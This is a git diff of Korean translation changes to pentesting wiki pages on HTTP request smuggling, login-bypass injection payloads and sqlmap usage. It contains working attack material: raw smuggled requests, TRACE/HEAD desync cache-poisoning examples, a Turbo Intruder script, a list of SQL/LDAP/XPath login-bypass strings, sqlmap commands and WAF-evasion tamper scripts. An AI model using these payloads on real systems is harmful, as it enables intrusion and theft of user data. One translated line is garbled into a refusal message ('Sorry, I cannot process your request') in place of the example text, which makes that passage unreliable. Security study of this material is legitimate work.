> * **웹 캐시 오염**에서는 공격자가 애플리케이션이 악성 콘텐츠를 캐시에 저장하도록 유도하고, 이 콘텐츠가 다른 애플리케이션 사용자에게 캐시에서 제공됩니다.
|
||||
> * **웹 캐시 기만**에서는 공격자가 애플리케이션이 다른 사용자의 민감한 콘텐츠를 캐시에 저장하도록 유도하고, 공격자는 이후 이 콘텐츠를 캐시에서 검색합니다.
|
||||
|
||||
The attacker crafts a smuggled request that fetches sensitive user-specific content. Consider the following example:
|
||||
공격자는 민감한 사용자 특정 콘텐츠를 가져오는 밀반입 요청을 작성합니다. 다음 예를 고려하십시오:
|
||||
```markdown
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
|
@ -524,7 +532,7 @@ The attacker crafts a smuggled request that fetches sensitive user-specific cont
|
|||
`GET /private/messages HTTP/1.1`\
|
||||
`Foo: X`
|
||||
```
|
||||
이 스머글링된 요청이 정적 콘텐츠(예: `/someimage.png`)를 위한 캐시 항목을 오염시키면, 피해자의 `/private/messages`의 민감한 데이터가 정적 콘텐츠의 캐시 항목 아래에 캐시될 수 있습니다. 결과적으로, 공격자는 이러한 캐시된 민감한 데이터를 검색할 수 있습니다.
|
||||
이 스머글된 요청이 정적 콘텐츠(예: `/someimage.png`)를 위한 캐시 항목을 오염시키면, 피해자의 `/private/messages`의 민감한 데이터가 정적 콘텐츠의 캐시 항목 아래에 캐시될 수 있습니다. 결과적으로, 공격자는 이러한 캐시된 민감한 데이터를 검색할 수 있습니다.
|
||||
|
||||
### HTTP 요청 스머글링을 통한 TRACE 남용 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
|
@ -534,7 +542,7 @@ TRACE / HTTP/1.1
|
|||
Host: example.com
|
||||
XSS: <script>alert("TRACE")</script>
|
||||
```
|
||||
응답을 다음과 같이 보낼 것입니다:
|
||||
죄송합니다. 요청하신 내용을 처리할 수 없습니다.
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: message/http
|
||||
|
@ -545,17 +553,17 @@ Host: vulnerable.com
|
|||
XSS: <script>alert("TRACE")</script>
|
||||
X-Forwarded-For: xxx.xxx.xxx.xxx
|
||||
```
|
||||
An example on how to abuse this behaviour would be to **smuggle first a HEAD request**. This request will be responded with only the **headers** of a GET request (**`Content-Type`** among them). And smuggle **immediately after the HEAD a TRACE request**, which will be **reflecting the sent data**.\
|
||||
As the HEAD response will be containing a `Content-Length` header, the **response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data** in the response.\
|
||||
This response will be sent to the next request over the connection, so this could be **used in a cached JS file for example to inject arbitrary JS code**.
|
||||
이 동작을 악용하는 예는 **먼저 HEAD 요청을 밀반입하는 것**입니다. 이 요청은 GET 요청의 **헤더**만으로 응답됩니다 (**`Content-Type`** 포함). 그리고 **HEAD 요청 직후에 TRACE 요청을 밀반입하여**, **전송된 데이터**를 **반영**합니다.\
|
||||
HEAD 응답에는 `Content-Length` 헤더가 포함되므로, **TRACE 요청의 응답은 HEAD 응답의 본문으로 처리되어 임의의 데이터를 반영하게 됩니다**.\
|
||||
이 응답은 연결을 통해 다음 요청으로 전송되므로, 예를 들어 **임의의 JS 코드를 주입하기 위해 캐시된 JS 파일에서 사용될 수 있습니다**.
|
||||
|
||||
### TRACE를 HTTP 응답 분할을 통해 악용하기 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
### HTTP 응답 분할을 통한 TRACE 악용 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
Continue following [**this post**](https://portswigger.net/research/trace-desync-attack) is suggested another way to abuse the TRACE method. As commented, smuggling a HEAD request and a TRACE request it's possible to **control some reflected data** in the response to the HEAD request. The length of the body of the HEAD request is basically indicated in the Content-Length header and is formed by the response to the TRACE request.
|
||||
[**이 게시물**](https://portswigger.net/research/trace-desync-attack)를 계속 따라가는 것이 TRACE 메서드를 악용하는 또 다른 방법을 제안합니다. 언급된 바와 같이, HEAD 요청과 TRACE 요청을 밀반입하면 HEAD 요청에 대한 응답에서 **일부 반영된 데이터를 제어할 수 있습니다**. HEAD 요청의 본문 길이는 기본적으로 Content-Length 헤더에 표시되며, TRACE 요청에 대한 응답으로 형성됩니다.
|
||||
|
||||
Therefore, the new idea would be that, knowing this Content-Length and the data given in the TRACE response, it's possible to make the TRACE response contains a valid HTTP response after the last byte of the Content-Length, allowing an attacker to completely control the request to the next response (which could be used to perform a cache poisoning).
|
||||
따라서 새로운 아이디어는 이 Content-Length와 TRACE 응답에서 제공된 데이터를 알고 있을 때, TRACE 응답이 Content-Length의 마지막 바이트 이후에 유효한 HTTP 응답을 포함하도록 만들어 공격자가 다음 응답에 대한 요청을 완전히 제어할 수 있게 하는 것입니다 (이는 캐시 오염을 수행하는 데 사용될 수 있습니다).
|
||||
|
||||
Example:
|
||||
예:
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: example.com
|
||||
|
@ -597,7 +605,7 @@ Content-Length: 50
|
|||
```
|
||||
### HTTP 요청 스머글링을 HTTP 응답 비동기화로 무기화하기
|
||||
|
||||
HTTP 요청 스머글링 취약점을 발견했지만 이를 어떻게 악용할지 모르겠다면, 다음의 다른 악용 방법을 시도해 보세요:
|
||||
HTTP 요청 스머글링 취약점을 발견했지만 이를 어떻게 악용할지 모르겠습니까? 다음의 다른 악용 방법을 시도해 보세요:
|
||||
|
||||
{% content-ref url="../http-response-smuggling-desync.md" %}
|
||||
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
|
||||
|
@ -621,7 +629,7 @@ HTTP 요청 스머글링 취약점을 발견했지만 이를 어떻게 악용할
|
|||
|
||||
### CL.TE
|
||||
|
||||
From [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
|
||||
[https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)에서 가져옴
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
|
||||
|
@ -704,7 +712,7 @@ time.sleep(0.05)
|
|||
def handleResponse(req, interesting):
|
||||
table.add(req)
|
||||
```
|
||||
## Tools
|
||||
## 도구
|
||||
|
||||
* [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
|
||||
* [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
|
||||
|
@ -713,7 +721,7 @@ table.add(req)
|
|||
* [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
|
||||
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): 이 도구는 이상한 요청 스머글링 불일치를 찾는 데 유용한 문법 기반 HTTP 퍼저입니다.
|
||||
|
||||
## References
|
||||
## 참고자료
|
||||
|
||||
* [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling)
|
||||
* [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding)
|
||||
|
@ -725,17 +733,25 @@ table.add(req)
|
|||
* [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
|
||||
* [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우기 및 연습하기:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,29 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
이 목록에는 **XPath, LDAP 및 SQL 인젝션을 통한 로그인 우회용 페이로드**가 포함되어 있습니다(그 순서대로).
|
||||
#### 웹 앱, 네트워크 및 클라우드에 대한 해커의 관점 얻기
|
||||
|
||||
이 목록을 사용하는 방법은 **첫 200줄을 사용자 이름과 비밀번호로 입력하는 것입니다.** 그런 다음, 사용자 이름 입력란에 전체 목록을 먼저 넣고, 비밀번호 입력란에 어떤 비밀번호(예: _Pass1234._) 또는 알려진 사용자 이름(예: _admin_)을 넣습니다.
|
||||
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
이 목록에는 **XPath, LDAP 및 SQL 인젝션을 통한 로그인 우회 페이로드**가 포함되어 있습니다(그 순서대로).
|
||||
|
||||
이 목록을 사용하는 방법은 **첫 200줄을 사용자 이름과 비밀번호로 입력하는 것입니다.** 그런 다음, 사용자 이름 입력란에 전체 목록을 먼저 넣고 비밀번호 입력란에 어떤 비밀번호(예: _Pass1234._) 또는 알려진 사용자 이름(예: _admin_)을 넣습니다.
|
||||
```
|
||||
admin
|
||||
password
|
||||
|
@ -823,6 +830,15 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
|
|||
%8C%A8%27)||1-- 2
|
||||
%bf')||1-- 2
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -832,8 +848,8 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,11 +17,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구 및 기능을 사용하여 어디서나 전체 침투 테스트를 실행하세요. 우리는 침투 테스터를 대체하지 않습니다 - 우리는 그들이 더 깊이 파고들고, 쉘을 터뜨리고, 재미를 느낄 수 있도록 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## SQLmap을 위한 기본 인수
|
||||
## SQLmap에 대한 기본 인수
|
||||
|
||||
### 일반
|
||||
```bash
|
||||
|
@ -130,7 +132,7 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
|
|||
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
|
||||
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
|
||||
```
|
||||
[**이 게시물을 읽어보세요** ](second-order-injection-sqlmap.md)**sqlmap을 사용하여 간단하고 복잡한 2차 주입을 수행하는 방법에 대한 내용입니다.**
|
||||
[**이 게시물 읽기** ](second-order-injection-sqlmap.md)**sqlmap을 사용하여 간단하고 복잡한 2차 주입을 수행하는 방법에 대한 내용입니다.**
|
||||
|
||||
## 주입 사용자 정의
|
||||
|
||||
|
@ -142,7 +144,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
|
|||
```bash
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
|
||||
```
|
||||
### 불리언 인젝션 찾기 도움말
|
||||
### 부울 주입 찾기
|
||||
```bash
|
||||
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
|
||||
sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
|
@ -156,48 +158,48 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
|||
```
|
||||
| Tamper | Description |
|
||||
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| apostrophemask.py | 아포스트로프 문자를 UTF-8 전체 폭 대응 문자로 교체합니다. |
|
||||
| apostrophenullencode.py | 아포스트로프 문자를 불법적인 이중 유니코드 대응 문자로 교체합니다. |
|
||||
| apostrophemask.py | 아포스트로피 문자를 UTF-8 전체 폭 대응 문자로 대체합니다. |
|
||||
| apostrophenullencode.py | 아포스트로피 문자를 불법적인 이중 유니코드 대응 문자로 대체합니다. |
|
||||
| appendnullbyte.py | 페이로드 끝에 인코딩된 NULL 바이트 문자를 추가합니다. |
|
||||
| base64encode.py | 주어진 페이로드의 모든 문자를 Base64로 인코딩합니다. |
|
||||
| between.py | '>' 연산자를 'NOT BETWEEN 0 AND #'로 교체합니다. |
|
||||
| bluecoat.py | SQL 문 뒤의 공백 문자를 유효한 무작위 공백 문자로 교체합니다. 이후 '=' 문자를 LIKE 연산자로 교체합니다. |
|
||||
| between.py | '>' 연산자를 'NOT BETWEEN 0 AND #'로 대체합니다. |
|
||||
| bluecoat.py | SQL 문장 뒤의 공백 문자를 유효한 무작위 공백 문자로 대체합니다. 이후 '=' 문자를 LIKE 연산자로 대체합니다. |
|
||||
| chardoubleencode.py | 주어진 페이로드의 모든 문자를 이중 URL 인코딩합니다 (이미 인코딩된 것은 처리하지 않음). |
|
||||
| commalesslimit.py | 'LIMIT M, N'과 같은 인스턴스를 'LIMIT N OFFSET M'으로 교체합니다. |
|
||||
| commalessmid.py | 'MID(A, B, C)'와 같은 인스턴스를 'MID(A FROM B FOR C)'로 교체합니다. |
|
||||
| concat2concatws.py | 'CONCAT(A, B)'와 같은 인스턴스를 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'로 교체합니다. |
|
||||
| commalesslimit.py | 'LIMIT M, N'과 같은 인스턴스를 'LIMIT N OFFSET M'으로 대체합니다. |
|
||||
| commalessmid.py | 'MID(A, B, C)'와 같은 인스턴스를 'MID(A FROM B FOR C)'로 대체합니다. |
|
||||
| concat2concatws.py | 'CONCAT(A, B)'와 같은 인스턴스를 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'로 대체합니다. |
|
||||
| charencode.py | 주어진 페이로드의 모든 문자를 URL 인코딩합니다 (이미 인코딩된 것은 처리하지 않음). |
|
||||
| charunicodeencode.py | 주어진 페이로드의 비인코딩 문자를 유니코드 URL 인코딩합니다 (이미 인코딩된 것은 처리하지 않음). "%u0022" |
|
||||
| charunicodeescape.py | 주어진 페이로드의 비인코딩 문자를 유니코드 URL 인코딩합니다 (이미 인코딩된 것은 처리하지 않음). "\u0022" |
|
||||
| equaltolike.py | '=' 연산자의 모든 발생을 'LIKE' 연산자로 교체합니다. |
|
||||
| escapequotes.py | 슬래시로 인용부호 ('와 ")를 이스케이프합니다. |
|
||||
| greatest.py | '>' 연산자를 'GREATEST' 대응 문자로 교체합니다. |
|
||||
| equaltolike.py | '=' 연산자의 모든 발생을 'LIKE' 연산자로 대체합니다. |
|
||||
| escapequotes.py | 따옴표 ('와 ")를 슬래시로 이스케이프합니다. |
|
||||
| greatest.py | '>' 연산자를 'GREATEST' 대응 문자로 대체합니다. |
|
||||
| halfversionedmorekeywords.py | 각 키워드 앞에 버전이 있는 MySQL 주석을 추가합니다. |
|
||||
| ifnull2ifisnull.py | 'IFNULL(A, B)'와 같은 인스턴스를 'IF(ISNULL(A), B, A)'로 교체합니다. |
|
||||
| ifnull2ifisnull.py | 'IFNULL(A, B)'와 같은 인스턴스를 'IF(ISNULL(A), B, A)'로 대체합니다. |
|
||||
| modsecurityversioned.py | 전체 쿼리를 버전이 있는 주석으로 감쌉니다. |
|
||||
| modsecurityzeroversioned.py | 전체 쿼리를 제로 버전 주석으로 감쌉니다. |
|
||||
| multiplespaces.py | SQL 키워드 주위에 여러 개의 공백을 추가합니다. |
|
||||
| nonrecursivereplacement.py | 미리 정의된 SQL 키워드를 교체에 적합한 표현으로 교체합니다 (예: .replace("SELECT", "") 필터). |
|
||||
| nonrecursivereplacement.py | 미리 정의된 SQL 키워드를 대체에 적합한 표현으로 대체합니다 (예: .replace("SELECT", "") 필터). |
|
||||
| percentage.py | 각 문자 앞에 백분율 기호 ('%')를 추가합니다. |
|
||||
| overlongutf8.py | 주어진 페이로드의 모든 문자를 변환합니다 (이미 인코딩된 것은 처리하지 않음). |
|
||||
| randomcase.py | 각 키워드 문자를 무작위 대소문자 값으로 교체합니다. |
|
||||
| randomcase.py | 각 키워드 문자를 무작위 대소문자 값으로 대체합니다. |
|
||||
| randomcomments.py | SQL 키워드에 무작위 주석을 추가합니다. |
|
||||
| securesphere.py | 특별히 제작된 문자열을 추가합니다. |
|
||||
| sp\_password.py | 페이로드 끝에 'sp\_password'를 추가하여 DBMS 로그에서 자동으로 난독화합니다. |
|
||||
| space2comment.py | 공백 문자 (' ')를 주석으로 교체합니다. |
|
||||
| space2dash.py | 공백 문자 (' ')를 대시 주석 ('--')으로 교체하고 무작위 문자열과 새 줄 ('\n')을 추가합니다. |
|
||||
| space2hash.py | 공백 문자 (' ')를 파운드 문자 ('#')로 교체하고 무작위 문자열과 새 줄 ('\n')을 추가합니다. |
|
||||
| space2morehash.py | 공백 문자 (' ')를 파운드 문자 ('#')로 교체하고 무작위 문자열과 새 줄 ('\n')을 추가합니다. |
|
||||
| space2mssqlblank.py | 공백 문자 (' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 교체합니다. |
|
||||
| space2mssqlhash.py | 공백 문자 (' ')를 파운드 문자 ('#')로 교체하고 새 줄 ('\n')을 추가합니다. |
|
||||
| space2mysqlblank.py | 공백 문자 (' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 교체합니다. |
|
||||
| space2mysqldash.py | 공백 문자 (' ')를 대시 주석 ('--')으로 교체하고 새 줄 ('\n')을 추가합니다. |
|
||||
| space2plus.py | 공백 문자 (' ')를 더하기 기호 ('+')로 교체합니다. |
|
||||
| space2randomblank.py | 공백 문자 (' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 교체합니다. |
|
||||
| symboliclogical.py | AND 및 OR 논리 연산자를 그들의 기호 대응 문자 (&& 및 ||)로 교체합니다. |
|
||||
| unionalltounion.py | UNION ALL SELECT를 UNION SELECT로 교체합니다. |
|
||||
| unmagicquotes.py | 인용 문자 (')를 다중 바이트 조합 %bf%27로 교체하고 끝에 일반 주석을 추가합니다 (작동하게 하기 위해). |
|
||||
| uppercase.py | 각 키워드 문자를 대문자 값 'INSERT'로 교체합니다. |
|
||||
| sp_password.py | 페이로드 끝에 'sp_password'를 추가하여 DBMS 로그에서 자동으로 난독화합니다. |
|
||||
| space2comment.py | 공백 문자 (' ')를 주석으로 대체합니다. |
|
||||
| space2dash.py | 공백 문자 (' ')를 대시 주석 ('--')과 무작위 문자열 및 새 줄 ('\n')로 대체합니다. |
|
||||
| space2hash.py | 공백 문자 (' ')를 파운드 문자 ('#')와 무작위 문자열 및 새 줄 ('\n')로 대체합니다. |
|
||||
| space2morehash.py | 공백 문자 (' ')를 파운드 문자 ('#')와 무작위 문자열 및 새 줄 ('\n')로 대체합니다. |
|
||||
| space2mssqlblank.py | 공백 문자 (' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 대체합니다. |
|
||||
| space2mssqlhash.py | 공백 문자 (' ')를 파운드 문자 ('#')와 새 줄 ('\n')로 대체합니다. |
|
||||
| space2mysqlblank.py | 공백 문자 (' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 대체합니다. |
|
||||
| space2mysqldash.py | 공백 문자 (' ')를 대시 주석 ('--')과 새 줄 ('\n')로 대체합니다. |
|
||||
| space2plus.py | 공백 문자 (' ')를 더하기 기호 ('+')로 대체합니다. |
|
||||
| space2randomblank.py | 공백 문자 (' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 대체합니다. |
|
||||
| symboliclogical.py | AND 및 OR 논리 연산자를 그들의 기호 대응 문자 (&& 및 ||)로 대체합니다. |
|
||||
| unionalltounion.py | UNION ALL SELECT를 UNION SELECT로 대체합니다. |
|
||||
| unmagicquotes.py | 따옴표 문자 (')를 다중 바이트 조합 %bf%27로 대체하고 끝에 일반 주석을 추가합니다 (작동하게 하기 위해). |
|
||||
| uppercase.py | 각 키워드 문자를 대문자 값 'INSERT'로 대체합니다. |
|
||||
| varnish.py | HTTP 헤더 'X-originating-IP'를 추가합니다. |
|
||||
| versionedkeywords.py | 각 비함수 키워드를 버전이 있는 MySQL 주석으로 감쌉니다. |
|
||||
| versionedmorekeywords.py | 각 키워드를 버전이 있는 MySQL 주석으로 감쌉니다. |
|
||||
|
@ -205,7 +207,9 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구 및 기능을 사용하여 어디서나 전체 침투 테스트를 실행하세요. 우리는 침투 테스터를 대체하지 않습니다 - 그들에게 더 깊이 파고들고, 셸을 터뜨리고, 재미를 느낄 수 있도록 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요.
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
